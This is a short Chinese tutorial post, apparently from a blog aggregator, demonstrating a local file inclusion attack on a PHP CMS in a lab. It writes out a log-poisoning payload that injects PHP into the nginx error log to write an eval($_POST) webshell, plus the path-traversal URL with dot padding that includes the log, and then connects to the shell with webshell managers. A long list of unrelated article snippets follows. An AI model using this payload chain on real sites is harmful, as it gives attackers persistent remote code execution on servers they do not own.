ihszg
ihszg

任意文件包含漏洞（3）——实战某cms

资源下载

至少有一个任意文件包含漏洞的cms 下载链接

错误日志

nginx的默认日志文件是phpstudy/nginx/logs/error.log

apache的日志文件是phpstudy/apache/logs/error.log
一般管理员都不会改的
这里我用的是nginx
任意文件包含漏洞（3）——实战某cms_第1张图片

演示

进入网站首页
任意文件包含漏洞（3）——实战某cms_第2张图片

在url后面加上');?>
或者其他的一句话木马

http://172.16.11.27/xhcms/%3C?php%20fputs(fopen(%27data2.php%27,%27w%27),%27%3C?php%20eval($_POST[123])?%3E%27);?%3E

任意文件包含漏洞（3）——实战某cms_第3张图片
查看日志文件

http://172.16.11.27/xhcms/?r=../../../nginx/logs/error.log...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

任意文件包含漏洞（3）——实战某cms_第4张图片
经过代码审计，这里还需要使用.，路径长度绕过

任意文件包含漏洞（3）——实战某cms_第5张图片

发现
index.php的同目录下生成了data2.php文件

任意文件包含漏洞（3）——实战某cms_第6张图片
用蚁剑或者菜刀连接该文件

http://172.16.11.27/xhcms/data2.php

任意文件包含漏洞（3）——实战某cms_第7张图片

你可能感兴趣的:(web渗透,文件包含漏洞)

  • ZAP漏洞扫描系列04:手动导入请求添加站点 宁儿数据安全 #安全测试安全
    ZAP漏洞扫描系列04:手动导入请求添加站点通过请求器“曲线救国”添加站点，可按以下步骤操作（本质是手动发请求让ZAP识别站点）：GET请求步骤1：在请求器构造目标站点请求在请求器的“请求”编辑框，替换默认内容为：点击“发送（Send）”按钮，ZAP会向http://10.1.1.xx:8081/发请求。GEThttp://10.1.1.xx:8081/HTTP/1.1host:10.1.1.xx
  • C++98和C++11的构造和初始化、initializer_list以及decltype关键字（一般） 无聊看看天T^T C++从入门到入土c++开发语言
    目录前言C++98的构造与初始化C++11的构造与初始化初始化列表的initializer_listdecltype关键字前言2003年C++标准委员会曾经提交了一份技术勘误表（简称TC1），使得C++03这个名字取代了C++98成为了C++11前最新的C++标准名称。不过由于C++03主要是对C++98标准中的漏洞进行修复，语言的核心部分则没有改动，因此人们习惯性的把两个标准合并成为C++98/
  • 掌握SQL注入：漏洞演示与防护策略实战源代码 May Wei
    本文还有配套的精品资源，点击获取简介：SQL注入是一个影响Web应用和数据库安全的漏洞。通过本项目源代码演示，开发者能深入理解SQL注入的工作机制及其攻击方法。文档和源代码示例将指导如何通过构造恶意SQL语句执行非授权数据库操作，以及如何通过实践学习防止此类攻击，包括安全编码、输入验证、错误处理、数据库权限设置和日志监控等。1.SQL注入概念和攻击方法1.1SQL注入漏洞的基本原理1.1.1SQL
  • 网络安全第14集 不灭锦鲤 web安全安全
    前言：小迪安全14集，这集重点内容：0、什么是js渗透测试？在javascript中也存在变量和函数，存在可控变量和函数就有可能存在在漏洞，js开发的web应用和php、java开发的区别是，js能看得到的源代码，php看不到，但是风险就是未授权访问、配置信息泄露（加密算法、key秘钥等），源代码看得到，存在更多的url泄露，从而可能会出现未授权访问，从url，前提：web应用可以采用前端语言或后
  • 拼多多的陷阱 努力做自己
    昨天临下班时看到朋友圈有发关于拼多多怎样拿到500元，说是每月一次漏洞，有详细的步骤。可能是太无聊了，竟然相信了，按照步骤操作，一直持续到晚上8点，还差0.01个金币，好几个朋友说很难拿，放弃吧，嗯，确实。今天一大早，鑫姐发来消息问，拿到了么，不行她再找几个朋友，一不小心，又激起我的小心思了，万一拿到了呢。明明只差0.01个金币，可能就差1个人了，结果又扫出了钻石，这又是什么鬼。然后集齐10个钻石
  • 薅羊毛群里的东西靠谱吗？最新薅羊毛赚钱项目 高省爱氧惠
    吃过薅羊毛项目红利的人应该都明白，羊毛群里面的东西真假皆有，而且薅羊毛这个东西大部分都是占灰色多一些，当然网创说的并不是绝对，也有不少薅羊毛的项目的确相当赚钱。也当然我说的赚钱就不代表它安全。好比如，当初拼多多红包漏洞一个道理，一晚上令拼多多平台损失上千万，而这笔大金额损失背后的身影就是薅羊毛的群体杰作。看到这里可能你们认为薅羊毛很赚钱，这一千万损失均分下来，每个人都应该赚了十几万吧！氧惠APP佣
  • 书香||有缺陷的圆满 北冰洋冷
    （本文参与书香专题活动，文责自负）圆满的意思是没有欠缺，漏洞，使人满意，完美无缺，完善。其反义词就是缺陷。但是，万事万物怎么可能十全十美，没有缺陷？所以，人不能圆满，事不能圆满，人生不能圆满，唯有心可以圆满，只有接受缺陷，人生才可以圆满。一、人不可能圆满。金无足赤，人无完人。人不能十全十美，每个人都会有自己的缺点和不足。上天总是公平的，给了你一些，必然会拿走一些，让每个人都会有，或多或少的遗憾和缺
  • 常见的未授权访问如：Redis,MongoDb,Memcached,Jenkins,Jupyter NoteBook,Elasticsearch,Kibana等二十四个靶场复现 终焉暴龙王 安全网络web安全
    前言这这篇文章中我会记录24种常见的未授权访问漏洞的靶场复现，如果有错误，欢迎大家指正。在本文中，漏洞复现的靶场完全是靠自己搭建的vulhub-master以及一系列的靶场以及fofa搜索，如果之前没有用过vulhub-master靶场，请先搭建好vulhub-master靶场并且安装docker和docker-compose。另外，其中一些涉及到敏感信息的漏洞复现我就不截图了，大家切记要树立好法
  • 零信任架构落地：Java + SPIFFE 微服务身份联邦体系 司铭鸿 架构java微服务机器学习线性代数开发语言算法
    “信任是最昂贵的漏洞。”——2017年Equifax数据泄露后安全专家总结开篇：当城堡护城河干涸时2019年，某跨国金融集团遭遇“服务间信任链断裂”攻击。攻击者利用Kubernetes服务账户令牌泄露，伪装成合法服务横向渗透，窃取核心交易数据。其传统边界防火墙与VPN如同中世纪的护城河，对内部流量毫无防御能力。这场灾难性事件点燃了他们落地零信任架构（ZeroTrustArchitecture,ZT
  • 从系统架构视角解析唯识学：感官模块的二层设计 & 认知系统的漏洞修复 109702008 杂谈系统架构人工智能
    作者：DeepSeek-R1标签：哲学与编程、认知科学、系统架构、佛教唯识引言：当哲学遇上系统设计在构建高可用系统时，我们常采用分层架构（如OSI七层模型）。有趣的是，1300年前的佛教唯识学派早已用类似思路解构人类认知系统。本文将用技术语言解析感官的二层模型（浮尘根/胜义根）与认知系统的两类漏洞（见惑/思惑），你会发现：佛学修行的本质竟是一场持续千年的“认知系统重构工程”。模块一：感官系统的硬件
  • 高级07-Java安全编程：保护你的应用免受攻击 Jinkxs Java高级篇安全java
    引言在当今的数字时代，应用程序的安全性已成为软件开发过程中不可忽视的重要环节。Java作为一门广泛应用于企业级应用开发的编程语言，其安全性问题尤其受到关注。无论是在Web应用、移动应用还是后端服务中，Java开发者都需要面对各种潜在的安全威胁，如SQL注入、跨站脚本攻击（XSS）、跨站请求伪造（CSRF）、身份验证漏洞等。因此，掌握Java安全编程的最佳实践，不仅能够提升应用程序的健壮性，还能有效
  • SRC实战 | 爆破新思路分享（非常详细）零基础入门到精通，收藏这一篇就够了 七七Seven～ 网络安全机器学习web安全服务器
    前一段时间挖到某高校一个高危漏洞，已经修复了，这里有一点搞爆破的新思路，在这里分享一下。其实，我刚开始的目标是某实验教学平台，看起来比较高大上，测试了一通没什么反应那当然不服气啊，然后我仔细一想，这种平台那肯定会给数据库接口出去，和各大高校对接用户信息，我挖不了你我就去其他地方挖，fofa指引我去了下面这个网页注意标红，这是我找到的所有对接的大学实验平台中最有可能有漏洞的，试了一下，直接弱口令11
  • 宝塔开放php openssl,[教程]Centos宝塔面板升级openssl增强nginxSSL安全性，openssl开启Http/2,Centos升级openssl... weixin_39956353 宝塔开放phpopenssl
    由于本站是采用的Centos7+宝塔面板搭建的LNMP环境，但是Centos7默认的openssl版本又太低，根据“漏洞参考这里：https://www.trustasia.com/OpenSSL-CVE-2016-2107-Padding-Oracle”查看这篇文章发现openssl低版本已经有一堆漏洞了，所以就萌生了升级openssl版本的想法。配置完后如图：openssl版本低会导致无论你怎
  • 宝塔linux升级,宝塔linux面板之升级OpenSSL教程 weixin_39598584 宝塔linux升级
    宝塔linux面板之升级OpenSSL教程,版本,教程,源代码,漏洞,服务器宝塔linux面板之升级OpenSSL教程易采站长站，站长之家为您整理了宝塔linux面板之升级OpenSSL教程的相关内容。下面由宝塔面板教程栏目给大家介绍升级OpenSSL教程，希望对需要的朋友有所帮助！升级OpenSSL教程(亲测可用)目前一些服务器的OpenSSL还是1.0.1e版本，今天进行服务器漏洞检测出现Op
  • 宝塔linux面板如何开启openssl,宝塔linux面板之升级OpenSSL教程 EdisonGzq
    下面由宝塔面板教程栏目给大家介绍升级OpenSSL教程，希望对需要的朋友有所帮助！升级OpenSSL教程(亲测可用)目前一些服务器的OpenSSL还是1.0.1e版本，今天进行服务器漏洞检测出现OpenSSL存在漏洞，那只能升级OpenSSL了。1、登录SSH，查看OpenSSL版本opensslversion2、下载源代码wgethttps://github.com/openssl/openss
  • NBA季后赛将迎来回到“魔鬼主场” 爵士期待赢回主动权，拭目以待 老夫讲球
    周四303NBA篮球灰熊VS森林狼比赛时间：2022-4-2207：30赛事分析：灰熊坐拥莫兰特这位准一流球星，在本轮系列赛是更被看好的一方。首场比赛，灰熊防守端漏洞百出，失去了主场优势。系列赛第二场，灰熊开局就奠定了优势，全场对唐斯的限制极为有效，最终以28分优势大胜对手，将大比分扳平，此役全队七人得分上双，莫兰特拿到了最高的23分9篮板10助攻，但其大腿受到了一定的伤病侵袭，贝恩和杰克逊均拿到
  • CVE-2025-6018 和 CVE-2025-6019漏洞引发的思考 深海科技服务 行业发展网络安全web安全程序人生java个人开发操作系统
    一、CVE-2025-6018和CVE-2025-6019漏洞对麒麟和统信UOS系统有影响吗？这两个漏洞确实对麒麟和统信UOS系统有影响。根据最新的信息，可以明确如下：1、CVE-2025-6018：LinuxPAM权限提升漏洞这个漏洞存在于LinuxPAM(可插拔认证模块)的配置中，可能允许远程登录系统的低权限用户获得polkit策略的“allow_active”认证，从而拥有与机器本地用户相同
  • 《奔跑吧Linux内核（第二版）》第四章笔记 525小白菜 linux
    内核配置内核配置工具常见的有：makeconfigmakeoldconfigmakemenuconfig内核配置工具最终会在Linux内核源码的根目录下生成一个隐藏文件——.config文件，这个文件包含了内核所有配置信息。.config文件的每个配置选项都以“CONFIG”开头，后面的y表示内核会把这个特性编译进内核，m表示这个特性会被编译成内核模块。如果不需要编译到内核中，就要在前面用“#”进
  • 【奔跑吧！Linux 内核（第二版）】第4章：内核编译和调试
    笨叔陈悦.奔跑吧Linux内核（第2版）[M].北京:人民邮电出版社,2020.文章目录内核配置.config配置文件内核配置.config配置文件makeconfig、makeoldconfig、makemenuconfig等配置工具最终会在Linux内核源代码的根目录下生成一个隐藏文件——.config文件，这个文件包含了内核的所有配置信息。.config文件的每个配置选项都以“CONFIG_
  • W5500模块－服务端模式例程 韩微戈
    W5500模块－服务端模式例程去发现同类优质开源项目:https://gitcode.com/此压缩文件包含基于W5500网络芯片的开发代码资料。这些代码例程专注于服务端模式的应用，能够帮助开发者快速上手和实现基于W5500的网络通讯功能。资料中涵盖了从基础配置到高级应用的各种示例，适用于需要进行网络功能开发的工程师和爱好者。去发现同类优质开源项目:https://gitcode.com/
  • C语言基础--自学第一天 拾忆丶缀梦 c语言开发语言
    对于学习C语言，个人感觉要先清楚C语言的结构。了解了其结构框架，对于日后的学习还是很有帮助的。1.C语言的结构部分（1）头文件例如：#include头文件包含程序中要调用的库函数。后面所需要的输出代码输入代码，都是从头文件这个数据库中引用调用的。这边挂一个博主链接方便日后学习C语言常用库函数（含详细用法）_开始淡漠的博客-CSDN博客_c库函数（2）main函数main函数是程序的主体部分，是整个
  • Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞 (CVE-2021-42013)实验报告 shidfe 笔记apachehttp安全
    视频演示ApacheHTTPServer2.4.50中的路径遍历和文件泄露漏洞(CVE-2021-42013)实验演示_哔哩哔哩_bilibiliBGM：《芳华慢》+《霜雪千年》（by等什么君）https://www.bilibili.com/video/BV1Va411C7gW?spm_id_from=333.999.0.0参考文章Vulhub-Docker-Composefileforvuln
  • Apache HTTP Server 2.4.49 的目录遍历漏洞CVE-2021-41773
    一、ApacheHTTPServer2.4.49的目录遍历漏洞介绍CVE-2021-41773是一个影响ApacheHTTPServer2.4.49的目录遍历漏洞，允许远程攻击者绕过访问控制限制读取系统上任意文件。在某些配置下，它还可以进一步导致远程代码执行（RCE）。这个漏洞被加密货币矿工（如Linuxsys）所利用，构建了完整的攻击链用于传播恶意挖矿程序。下面是对此漏洞和“Linuxsys”矿
  • C语言学习（十一）7.26 sa905 c语言学习开发语言
    今天学习预处理命令和指针预处理命令分为宏定义、文件包含、条件编译宏定义又分为：不带参宏和带参宏不带参宏：#include标识符字符串带参宏：#includes(a,b)a*b宏名一般用大写字母表示；gcc-E这个命令只做预处理，不编译；不能再宏后面加上分号（；）加上分号会把分号一起处理；宏也还能嵌套处理；写宏时尽量加上括号，防止优先级出问题。宏就是只换不算，（无脑文本替换）文件包含：把文件打开复制
  • 【攻防世界】 web | fileclude 详细题解WP white-persist 攻防世界WEB前端android原型模式pythonphp
    【攻防世界】web|fileclude详细题解WP打开环境首先代码审计阅读代码，有include()函数并且有GET传参的file1、file2的两个参数，猜测是文件包含伪协议题目文件包含伪协议【攻防世界】web|file_include详细题解WP-CSDN博客在我的一篇博客中有过一些详细的介绍，需要的话可以看看核心突破点在于：file_get_contents($file2)===“hello
  • 读《高效人士的七个习惯》 | 笔记 | 以终为使2 学习的路上
    在P380页中作者关于家庭宣言的建议：包括互助合作、维持整洁、用言语表达感情、培养专长与欣赏家人的才华等等。每年6月与9月，即学年结束与开始之际，我们都会加以修订，使之更符合实际情况。读完这段话我觉得我目前家庭很难做到，因为我对目前的家人心中有芥蒂，老公对我的家人有芥蒂。老公与我对育儿观念不一样，如果想这样具体实施真的挺难的。并且发现原来我的家庭有这么大的问题以及漏洞。我该如何做呢？要去尊重他的家
  • 京东隐藏优惠券如何领取？京东隐藏优惠券app 直返APP京东优惠券
    京东隐藏优惠券是一种商家为了吸引消费者下单而设置的优惠券，通常在京东APP或者官网直接购买商品时看不到这种优惠券。京东隐藏优惠券有很多叫法，比如京东内部优惠券、大额券，京东漏洞券等。那么，京东隐藏优惠券怎么领？京东隐藏优惠券app又是什么？本文将为您详细解答。一、直返直返的口号是“返利就用直返”，它强调没有上级赚差价，直接为用户提供商家和消费者之间的综合优惠券返利平台。用户可以在直返上获取自己感兴
  • Python中如何打开查看.npz文件 SEVEN是7 python开发语言
    .npz文件是NumPy的压缩存档格式，可以包含多个数组（一个.npz文件包含几个数组）一、导入包importnumpyasnp二、数据加载poem=np.load('tang.npz',allow_pickle=True)使用NumPy的load()函数加载.npz文件：file_path：指定要加载的文件路径allow_pickle=True：允许加载包含Python对象(pickle)的数据
  • 第五十一章（对战妖兽王，受伤！） D王
    这个替补上场的妖兽王刚来就给了沈锦晨一个下马威，一个前扑加尾巴剪的连环招让沈锦晨狼狈不堪疲于应对。可交手几个回合后沈锦晨就发现了它的漏洞——妖兽王毕竟是妖兽，没有人类的思维和智慧，它的进攻太单调了，打来打去也就这么几个动作。所以沈锦晨就变换着招式跟它耗着，每当沈锦晨打出一个新的招式妖兽王总是会费一些劲去破解，一来二去精力和元气都损耗很大。按理说沈锦晨就应该这么跟它耗着慢慢取胜，但是他还要替师父争光
  • 技战法-多角度取证提升反制效果 YCL大摆子 网络安全
    一、技战法概述溯源反制核心目标通过对攻击源的追踪分析，精准定位攻击者身份信息（姓名、电话、邮箱、公司、网络ID、物理位置），构建完整攻击者画像。基于画像数据解析攻击手法特征（如漏洞利用路径、工具链偏好），预判后续攻击趋势并制定针对性防御策略。在攻防演习中强化蓝队取证能力，并为真实攻击事件提供司法取证支持（如协助公安机关固定电子证据链）。溯源反制双重价值防御能力提升：通过溯源案例复盘，暴露内部人员信
  • 用MiddleGenIDE工具生成hibernate的POJO（根据数据表生成POJO类） AdyZhang POJOeclipseHibernateMiddleGenIDE
    推荐:MiddlegenIDE插件,   是一个Eclipse   插件.     用它可以直接连接到数据库,   根据表按照一定的HIBERNATE规则作出BEAN和对应的XML ，用完后你可以手动删除它加载的JAR包和XML文件!     今天开始试着使用
  • .9.png Cb123456 android
      “点九”是andriod平台的应用软件开发里的一种特殊的图片形式，文件扩展名为：.9.png 　　智能手机中有自动横屏的功能,同一幅界面会在随着手机(或平板电脑)中的方向传感器的参数不同而改变显示的方向,在界面改变方向后,界面上的图形会因为长宽的变化而产生拉伸,造成图形的失真变形。 　　我们都知道android平台有多种不同的分辨率，很多控件的切图文件在被放大拉伸后，边
  • 算法的效率 天子之骄 算法效率复杂度最坏情况运行时间大O阶平均情况运行时间
    算法的效率 效率是速度和空间消耗的度量。集中考虑程序的速度，也称运行时间或执行时间，用复杂度的阶(O)这一标准来衡量。空间的消耗或需求也可以用大O表示，而且它总是小于或等于时间需求。   以下是我的学习笔记：   1.求值与霍纳法则，即为秦九韶公式。   2.测定运行时间的最可靠方法是计数对运行时间有贡献的基本操作的执行次数。运行时间与这个计数成正比。
  • java数据结构 何必如此 java数据结构
    Java 数据结构 Java工具包提供了强大的数据结构。在Java中的数据结构主要包括以下几种接口和类： 枚举（Enumeration） 位集合（BitSet） 向量（Vector） 栈（Stack） 字典（Dictionary） 哈希表（Hashtable） 属性（Properties） 以上这些类是传统遗留的，在Java2中引入了一种新的框架-集合框架(Collect
  • MybatisHelloWorld 3213213333332132
    //测试入口TestMyBatis package com.base.helloworld.test; import java.io.IOException; import org.apache.ibatis.io.Resources; import org.apache.ibatis.session.SqlSession; import org.apache.ibat
  • Java|urlrewrite|URL重写|多个参数 7454103 javaxmlWeb工作
     个人工作经验！ 如有不当之处，敬请指点 1.0  web -info 目录下建立     urlrewrite.xml  文件 类似如下： <?xml version="1.0" encoding="UTF-8" ?>   <!DOCTYPE u
  • 达梦数据库+ibatis darkranger sqlmysqlibatisSQL Server
    --插入数据方面 如果您需要数据库自增... 那么在插入的时候不需要指定自增列. 如果想自己指定ID列的值, 那么要设置 set identity_insert  数据库名.模式名.表名; ----然后插入数据; example: create table zhabei.test( id bigint identity(1,1) primary key, nam
  • XML 解析 四种方式 aijuans android
    XML现在已经成为一种通用的数据交换格式,平台的无关性使得很多场合都需要用到XML。本文将详细介绍用Java解析XML的四种方法。 XML现在已经成为一种通用的数据交换格式,它的平台无关性,语言无关性,系统无关性,给数据集成与交互带来了极大的方便。对于XML本身的语法知识与技术细节,需要阅读相关的技术文献,这里面包括的内容有DOM(Document Object
  • spring中配置文件占位符的使用 avords
    1.类 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "http://www.springframework.o
  • 前端工程化-公共模块的依赖和常用的工作流 bee1314 webpack
    题记： 一个人的项目，还有工程化的问题嘛？   我们在推进模块化和组件化的过程中，肯定会不断的沉淀出我们项目的模块和组件。对于这些沉淀出的模块和组件怎么管理？另外怎么依赖也是个问题？ 你真的想这样嘛？   var BreadCrumb = require(‘../../../../uikit/breadcrumb’); //真心ugly。  
  • 上司说「看你每天准时下班就知道你工作量不饱和」，该如何回应？ bijian1013 项目管理沟通IT职业规划
    问题：上司说「看你每天准时下班就知道你工作量不饱和」，如何回应         正常下班时间6点，只要是6点半前下班的，上司都认为没有加班。   Eno-Bea回答，注重感受，不一定是别人的         虽然我不知道你具体从事什么工作与职业，但是我大概猜测，你是从事一项不太容易出现阶段性成果的工作
  • TortoiseSVN，过滤文件 征客丶 SVN
    环境： TortoiseSVN 1.8 配置： 在文件夹空白处右键 选择  TortoiseSVN -> Settings 在 Global ignote pattern 中添加要过滤的文件： 多类型用英文空格分开 *name ： 过滤所有名称为 name 的文件或文件夹 *.name ： 过滤所有后缀为 name 的文件或文件夹 --------
  • 【Flume二】HDFS sink细说 bit1129 Flume
    1. Flume配置   a1.sources=r1 a1.channels=c1 a1.sinks=k1 ###Flume负责启动44444端口 a1.sources.r1.type=avro a1.sources.r1.bind=0.0.0.0 a1.sources.r1.port=44444 a1.sources.r1.chan
  • The Eight Myths of Erlang Performance bookjovi erlang
    erlang有一篇guide很有意思： http://www.erlang.org/doc/efficiency_guide 里面有个The Eight Myths of Erlang Performance： http://www.erlang.org/doc/efficiency_guide/myths.html   Myth: Funs are sl
  • java多线程网络传输文件(非同步)-2008-08-17 ljy325 java多线程socket
    利用 Socket 套接字进行面向连接通信的编程。客户端读取本地文件并发送；服务器接收文件并保存到本地文件系统中。 使用说明:请将TransferClient, TransferServer, TempFile三个类编译，他们的类包是FileServer. 客户端: 修改TransferClient: serPort, serIP, filePath, blockNum,的值来符合您机器的系
  • 读《研磨设计模式》-代码笔记-模板方法模式 bylijinnan java设计模式
    声明： 本文只为方便我个人查阅和理解，详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet;
  • 配置心得 chenyu19891124 配置
    时间就这样不知不觉的走过了一个春夏秋冬，转眼间来公司已经一年了，感觉时间过的很快，时间老人总是这样不停走，从来没停歇过。 作为一名新手的配置管理员，刚开始真的是对配置管理是一点不懂，就只听说咱们公司配置主要是负责升级，而具体该怎么做却一点都不了解。经过老员工的一点点讲解，慢慢的对配置有了初步了解，对自己所在的岗位也慢慢的了解。 做了一年的配置管理给自总结下： 1.改变 从一个以前对配置毫无
  • 对“带条件选择的并行汇聚路由问题”的再思考 comsci 算法工作软件测试嵌入式领域模型
    2008年上半年，我在设计并开发基于”JWFD流程系统“的商业化改进型引擎的时候，由于采用了新的嵌入式公式模块而导致出现“带条件选择的并行汇聚路由问题”(请参考2009-02-27博文)，当时对这个问题的解决办法是采用基于拓扑结构的处理思想，对汇聚点的实际前驱分支节点通过算法预测出来，然后进行处理，简单的说就是找到造成这个汇聚模型的分支起点，对这个起始分支节点实际走的路径数进行计算，然后把这个实际
  • Oracle 10g 的clusterware 32位 下载地址 daizj oracle
    Oracle 10g 的clusterware 32位 下载地址 http://pan.baidu.com/share/link?shareid=531580&uk=421021908 http://pan.baidu.com/share/link?shareid=137223&uk=321552738 http://pan.baidu.com/share/l
  • 非常好的介绍：Linux定时执行工具cron dongwei_6688 linux
    Linux经过十多年的发展，很多用户都很了解Linux了，这里介绍一下Linux下cron的理解，和大家讨论讨论。cron是一个Linux 定时执行工具，可以在无需人工干预的情况下运行作业，本文档不讲cron实现原理，主要讲一下Linux定时执行工具cron的具体使用及简单介绍。 新增调度任务推荐使用crontab -e命令添加自定义的任务（编辑的是/var/spool/cron下对应用户的cr
  • Yii assets目录生成及修改 dcj3sjt126com yii
    assets的作用是方便模块化，插件化的，一般来说出于安全原因不允许通过url访问protected下面的文件，但是我们又希望将module单独出来，所以需要使用发布，即将一个目录下的文件复制一份到assets下面方便通过url访问。 assets设置对应的方法位置 \framework\web\CAssetManager.php   assets配置方法 在m
  • mac工作软件推荐 dcj3sjt126com mac
    mac上的Terminal + bash ＋ screen组合现在已经非常好用了，但是还是经不起iterm＋zsh＋tmux的冲击。在同事的强烈推荐下，趁着升级mac系统的机会，顺便也切换到iterm＋zsh＋tmux的环境下了。 我为什么要要iterm2 切换过来也是脑袋一热的冲动，我也调查过一些资料，看了下iterm的一些优点： * 兼容性好，远程服务器 vi 什么的低版本能很好兼
  • Memcached(三)、封装Memcached和Ehcache frank1234 memcachedehcachespring ioc
    本文对Ehcache和Memcached进行了简单的封装，这样对于客户端程序无需了解ehcache和memcached的差异，仅需要配置缓存的Provider类就可以在二者之间进行切换，Provider实现类通过Spring IoC注入。 cache.xml <?xml version="1.0" encoding="UTF-8"?>
  • Remove Duplicates from Sorted List II hcx2013 remove
    Given a sorted linked list, delete all nodes that have duplicate numbers, leaving only distinct numbers from the original list. For example,Given 1->2->3->3->4->4->5,
  • Spring4新特性——注解、脚本、任务、MVC等其他特性改进 jinnianshilongnian spring4
    Spring4新特性——泛型限定式依赖注入 Spring4新特性——核心容器的其他改进 Spring4新特性——Web开发的增强 Spring4新特性——集成Bean Validation 1.1(JSR-349)到SpringMVC  Spring4新特性——Groovy Bean定义DSL Spring4新特性——更好的Java泛型操作API  Spring4新
  • MySQL安装文档 liyong0802 mysql
      工作中用到的MySQL可能安装在两种操作系统中，即Windows系统和Linux系统。以Linux系统中情况居多。   安装在Windows系统时与其它Windows应用程序相同按照安装向导一直下一步就即，这里就不具体介绍，本文档只介绍Linux系统下MySQL的安装步骤。   Linux系统下安装MySQL分为三种：RPM包安装、二进制包安装和源码包安装。二
  • 使用VS2010构建HotSpot工程 p2p2500 HotSpotOpenJDKVS2010
    1. 下载OpenJDK7的源码：      http://download.java.net/openjdk/jdk7      http://download.java.net/openjdk/      2. 环境配置     ▶
  • Oracle实用功能之分组后列合并 seandeng888 oracle分组实用功能合并
    1       实例解析 由于业务需求需要对表中的数据进行分组后进行合并的处理，鉴于Oracle10g没有现成的函数实现该功能，且该功能如若用JAVA代码实现会比较复杂，因此，特将SQL语言的实现方式分享出来，希望对大家有所帮助。如下： 表test 数据如下： ID,SUBJECTCODE,DIMCODE,VALUE 1&nbs
  • Java定时任务注解方式实现 tuoni javaspringjvmxmljni
    Spring 注解的定时任务，有如下两种方式： 第一种： <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans"  xmlns:xsi="http
  • 11大Java开源中文分词器的使用方法和分词效果对比 yangshangchuan word分词器ansj分词器Stanford分词器FudanNLP分词器HanLP分词器
    本文的目标有两个： 1、学会使用11大Java开源中文分词器 2、对比分析11大Java开源中文分词器的分词效果 本文给出了11大Java开源中文分词的使用方法以及分词结果对比代码，至于效果哪个好，那要用的人结合自己的应用场景自己来判断。 11大Java开源中文分词器，不同的分词器有不同的用法，定义的接口也不一样，我们先定义一个统一的接口： /** * 获取文本的所有分词结果, 对比
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他